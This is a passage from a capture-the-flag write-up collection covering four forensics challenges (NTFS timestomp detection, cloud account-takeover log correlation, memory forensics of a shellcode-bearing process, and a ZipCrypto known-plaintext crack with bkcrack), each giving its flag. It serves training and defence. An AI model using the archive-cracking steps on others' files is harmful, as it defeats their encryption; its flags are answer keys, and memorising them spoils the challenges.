timestomp tool) rewrites the $STANDARD_INFORMATION ($SI) timestamps but cannot touch
$FILE_NAME ($FN)
— the OS owns $FN. So a backdated file betrays itself: $SI ≪ $FN.
The USN journal then gives the ground truth independently.

Skill Why it matters
MFTECmd — $SI vs $FN comparison The core anti-forensics tell
USN $J analysis (MFTECmd -f $J) Independent true-time corroboration
Distinguishing malicious backdating from benign ($SI < $FN) Avoids the red herring
Resident $DATA in the $MFT The flag lives inside the tampered record

Walkthrough

1. $MFT → find the lie

MFTECmd.exe -f "$MFT" --csv . --csvf mft.csv

Sort/scan Created0x10 ($SI) vs Created0x30 ($FN):

File $SI Created $FN Created Verdict
customer_export.csv 2024-06-14 15:15:00 2026-08-27 21:34:30 $SI backdated 2 years — stomped
7z-x64-installer.exe 2026-07-10 16:00:00 2026-08-27 21:34:30 $SI < $FN by weeks — benign (extracted installer keeps the archive's stored date)
readme.txt / notes.txt 2026-08-27 … 2026-08-27 … normal

The installer is the red herring: $SI < $FN is normal for files unzipped from an archive.
Only customer_export.csv was backdated by years — that is the tampering.

2. $J (USN journal) → the ground truth

MFTECmd.exe -f "$J" --csv . --csvf usn.csv
customer_export.csv  2026-08-27 21:34:30  FileCreate
customer_export.csv  2026-08-27 21:34:30  DataExtend|FileCreate|Close

The journal — which the operator did not scrub — records the file being created on
2026-08-27
, flatly contradicting its $SI claim of 2024. And moments later:

WinTime.cs   2026-08-27 21:34:31  FileCreate     <- source of the timestomp tool
WinTime.exe  2026-08-27 21:34:32  FileCreate     <- compiled on the host, then run

The operator compiled a small SetFileTime utility on the box and ran it. $MFT shows both
still sitting in C:\Users\bayrem\AppData\Local\Temp\. (Amcache.hve is provided as the
application-inventory hive; the definitive tool evidence here is the $J+$MFT create sequence.)

3. Recover what was staged

customer_export.csv is only 223 bytes, so its $DATA is resident inside its $MFT
record
— no disk image needed. Dump the resident data (MFTExplorer, or simply):

strings "$MFT" | grep Securinets
→ Securinets{si_backdated_fn_never_lies}

The flag string self-documents the whole lesson: $SI was backdated, but $FN never lies.


Trick & red herring

Show flag

Securinets{si_backdated_fn_never_lies}


Trailhead

Points: 1000 points · Provided: cloudtrail.json, entra_signins.json, s3_access.log

There is no laptop to image this time — the victim is an identity. Our tenant flagged something during the night but the analyst on call cleared it as noise. Three logs were exported for review:

Hint 1

Start with the sign-ins: which account logs in from two countries minutes apart?

Hint 2

Pivot on the attacker's IP, not the user name, and convert all three timestamp formats to one basis.

What it targets

Cloud/identity forensics — the "host" is an account, not a machine — and the unglamorous
core skill of correlating one actor across logs that agree on nothing, including how they
write the time.

Skill Why it matters outside the CTF
Spotting impossible-travel in sign-in logs The canonical account-takeover signal
Following a pivot through CloudTrail (jq) Standard AWS incident response
Reading S3 server access logs Proving what data actually left
Normalising epoch-ms / ISO-8601 / CLF to one basis The real work in every multi-source timeline
Separating one actor from a noisy shared principal Why "filter by user" isn't enough

Walkthrough

1. Entra — impossible travel

Group sign-ins by user; find the one account that logged in from two countries:

jq -r '.value | group_by(.userPrincipalName)[]
       | select((map(.location.countryOrRegion)|unique|length)>1)
       | .[] | "\(.authTimeMs)  \(.userPrincipalName)  \(.ipAddress)  \(.location.city)"' entra_signins.json

mkedri@agilogix.tn appears from Tunis and Amsterdam. The times are epoch-ms:

date -u -d @$((1560478447442/1000))   # 2019-06-14 02:14:07  Tunis   (legit)
date -u -d @$((1560479133110/1000))   # 2019-06-14 02:25:33  Amsterdam (attacker, +11 min)

Two continents, eleven minutes apart → account takeover. Attacker IP: 45.83.220.14.

2. CloudTrail — the privilege pivot

Everything from the attacker IP:

jq -r '.Records[] | select(.sourceIPAddress=="45.83.220.14")
       | "\(.eventTime)  \(.eventName)  \(.requestParameters.userName // "-") -> \(.responseElements.accessKey.accessKeyId // "-")"' cloudtrail.json
2019-06-14T02:27:21Z  GetCallerIdentity  -                -
2019-06-14T02:27:58Z  CreateAccessKey    svc-backup       AKIA5JQATTACKER99Z

The attacker (in mkedri's SSO session) minted a new access key for a different IAM
user, svc-backup
— a long-lived backdoor onto the backup service account.

3. S3 — the exfiltration

Now the twist: svc-backup is also the legitimate automation principal that does
hundreds of routine backup reads all day, so filtering S3 by principal is useless — every
line says user/svc-backup. Pivot on the attacker IP instead:

grep " 45.83.220.14 " s3_access.log
[14/Jun/2019:02:28:49 +0000] ... REST.GET.BUCKET  -                     (enumerate)
[14/Jun/2019:02:29:01 +0000] ... REST.GET.OBJECT  exports/U2VjdXJpbmV0c3t...==

A bucket listing, then a single object GET — moments after the key was created. Decode the
object key:

echo 'U2VjdXJpbmV0c3tjbDB1ZHRyNDFsX3QxbTNsMW4zX3N0MXRjaDNkfQ==' | base64 -d
Securinets{cl0udtr41l_t1m3l1n3_st1tch3d}

4. Stitch the timeline (the deliverable)

Converting all three formats to one basis proves causality:

02:25:33Z  Entra sign-in from NL          (epoch-ms 1560479133110)
02:27:58Z  CloudTrail CreateAccessKey     (ISO 8601)
02:29:01Z  S3 GET exports/…               (CLF)

The red herrings

  1. svc-backup noise. ~300 CloudTrail AssumeRole events and ~400 S3 GETs from the
    internal automation host (10.0.42.7) fill the same day. A player who filters by the
    svc-backup principal drowns. The discriminator is the attacker IP (or the time
    window), never the principal.
  2. Decoy base64 object keys. Five legit objects have base64 names too
    (nightly-index-Q2, retention-policy-v4, …). A player who greps every base64-looking
    key and decodes them gets six candidates and must still reason about which is the exfil.
    Only one decodes to a flag; the IP pivot leads to it directly.
  3. mkedri's normal Tunis logins all day — the account is a real, active user, so its
    presence in the logs isn't itself suspicious. Only the Amsterdam session is.

Alternative paths that legitimately work

Show flag

Securinets{cl0udtr41l_t1m3l1n3_st1tch3d}


Two Keys

Points: 1000 points · Provided: RAM image (mem.raw)

EDR flagged a workstation, but by the time anyone looked the process was already gone from disk. All that was captured is a full RAM image. One suspicious process is still resident.

Hint 1

Find the suspicious process, then ask malfind which regions are both writable and executable.

Hint 2

One half comes from emulating shellcode; the other from running the carved .NET binary with the two values it expects.

What it targets

One RAM image, two independent recovery techniques against the same sample:
malfind → shellcode emulation, and PE carving → .NET decompilation → dynamic execution.

Skill Where
Vol3 process triage windows.pslist → updater.exe
malfind + shellcode emulation (scdbg) the RWX heap region → partA
Carving a PE from memory (dumpfiles) recover updater.exe
.NET decompilation (dnSpy/ILSpy) read ep/tk/DecPw()/Main
Dynamic execution to unlock a secret run with the two keys → partB

Walkthrough

1. Find the process

vol -f mem.raw windows.pslist | grep -i updater      # -> updater.exe  PID 444

2. partA — the heap shellcode → scdbg

vol -f mem.raw windows.malfind --pid 444 --dump

Two RWX regions dump; the small one begins fc e9 a5 00 … (cld; jmp …, then push 0x876F8B31
= the WinExec block-API stub). Emulate it (scdbg is a Windows tool — give it a Windows path):

scdbg.exe /f pid.444.vad.0x2790000-0x2790fff.dmp
   -> WinExec("cmd /c echo part1:sh3llc0d3_1n_h34p")

→ partA = sh3llc0d3_1n_h34p. (The other RWX region is .NET/heap noise — the red herring.)

3. partB — carve the PE, decompile, run it

vol -f mem.raw windows.dumpfiles --pid 444        # -> ...ImageSectionObject.updater.exe.img
mv *ImageSectionObject.updater.exe.img updater.exe

Open updater.exe in dnSpy (in a Defender-off sandbox — it carries the shellcode). The class
is self-documenting:

static string ep = "FGsuKGoJIzQ5e2hqaGw=";   // encoded password
static string tk = "SESSTOK-8f3a2b9c1d0e";   // token (plaintext)
static string DecPw(){ ... x[i]^0x5A ... }    // base64 -> XOR 0x5A
static void Main(string[] a){ ... if (a[0]==DecPw() && a[1]==tk){ print XOR(bl, sha256(a0:a1)) } }

Decode the password and run it with the two keys:

python3 -c "import base64;print(''.join(chr(b^0x5A) for b in base64.b64decode('FGsuKGoJIzQ5e2hqaGw=')))"
   -> N1tr0Sync!2026
updater.exe "N1tr0Sync!2026" "SESSTOK-8f3a2b9c1d0e"
   -> run_w1th_pw_t0k3n

→ partB = run_w1th_pw_t0k3n.

4. Combine

Securinets{sh3llc0d3_1n_h34p_run_w1th_pw_t0k3n}


Trick & red herrings

Show flag

Securinets{sh3llc0d3_1n_h34p_run_w1th_pw_t0k3n}


Zip It

Points: 700 points · Provided: evidence.zip, securinets.jpg

An auditor was sent a vault export inside a password-protected archive. The sender "forgot" the password and the ops team's usual passphrases don't open it.

Hint 1

Check the encryption method with 7z l -slt. Is it AES or legacy ZipCrypto?

Hint 2

You already hold one file that's inside the archive. ZipCrypto falls to a known-plaintext attack.

What it targets

Legacy ZipCrypto is broken against known plaintext. The traditional PKWARE cipher
(everything before WinZip's AES) leaks its internal state if you know any ~12+ contiguous
plaintext bytes of an encrypted entry. Biham & Kocher's attack, implemented in bkcrack,
recovers the three 32-bit internal keys — which then decrypt every other file in the same
archive
, no password required.

Skill Why it matters outside the CTF
Telling ZipCrypto from AES-256 (7z l -slt, zipdetails) Decides whether an archive is attackable at all
Recognising a known-plaintext opportunity The core insight — you rarely need the password
Driving bkcrack (-c/-p attack, -U re-lock) The standard tool for this exact situation
Knowing when brute force is pointless Stops players burning hours on john/fcrackzip

The takeaway: "password-protected zip" says nothing about security.
If it's the old format and one member is predictable, the password is irrelevant.


Walkthrough

1. Fail at the obvious thing (correctly)

unzip evidence.zip           # prompts for a password

The zip comment offers bait:

Password hint: it's one of the ops team's usual passphrases - try rockyou.

A player who takes that at face value runs fcrackzip -D -p rockyou.txt evidence.zip or
john — and gets nothing, because the real password is 28 random characters. This is meant
to happen; it teaches that guessing is the wrong tool here.

2. Identify the cipher

7z l -slt evidence.zip | grep -iE "Method|Encrypted|Name"
Name = securinets.jpg
Method = ZipCrypto Store           <-- legacy PKWARE, and STORED (uncompressed)
Name = notes.txt
Method = ZipCrypto Deflate:Maximum

ZipCrypto (not AES-256) is the green light. That securinets.jpg is Stored is the second
gift: its encrypted bytes are the raw JPEG, so the known plaintext lines up with zero
deflate in the way.

3. Realise you already hold the plaintext

You are given securinets.jpg, and the story explains why: it's the company's
public logo, the same file that's in the locked archive. So you already hold the exact
plaintext of one encrypted member. That is the whole attack.

4. Run bkcrack

bkcrack -C evidence.zip -c securinets.jpg -p securinets.jpg
[..] Z reduction using 11404 bytes of known plaintext
[..] Attack on 35 Z values at index 80657
Keys: edd5f7a3 ba9605d6 194c46bb
Found a solution. Stopping.

With about 11 KB of stored known plaintext, the attack finishes in seconds on ordinary
hardware.

5. Use the keys to get the flag

The cleanest route — re-lock the archive with a known password, which also handles the
DEFLATE on notes.txt automatically:

bkcrack -C evidence.zip -k edd5f7a3 ba9605d6 194c46bb -U solved.zip newpass
unzip -P newpass solved.zip
cat notes.txt
vault_unseal_key: Securinets{kn0wn_pl41nt3xt_b34ts_brut3_f0rc3}

(Alternative: bkcrack -c notes.txt -k <keys> -d notes.deflate then inflate with
python3 -c "import zlib,sys;sys.stdout.buffer.write(zlib.decompress(open('notes.deflate','rb').read(),-15))".
The -U route is simpler.)


The red herrings

  1. The zip comment ("try rockyou"). Steers toward a wordlist attack that cannot succeed
    because the password is random. It only costs time if you attack the password instead of
    the cipher, which is exactly the misconception the challenge corrects.
  2. The password's randomness itself. There is no password shortcut, so the only way in
    is through the cipher.

Everything needed to get past both (ZipCrypto plus a provided plaintext) is in the files.


Alternative paths that legitimately work

Further reading: bkcrack and Biham & Kocher,
A Known Plaintext Attack on the PKZIP Stream Cipher (1994).

Show flag

Securinets{kn0wn_pl41nt3xt_b34ts_brut3_f0rc3}


Wave 3 takeaways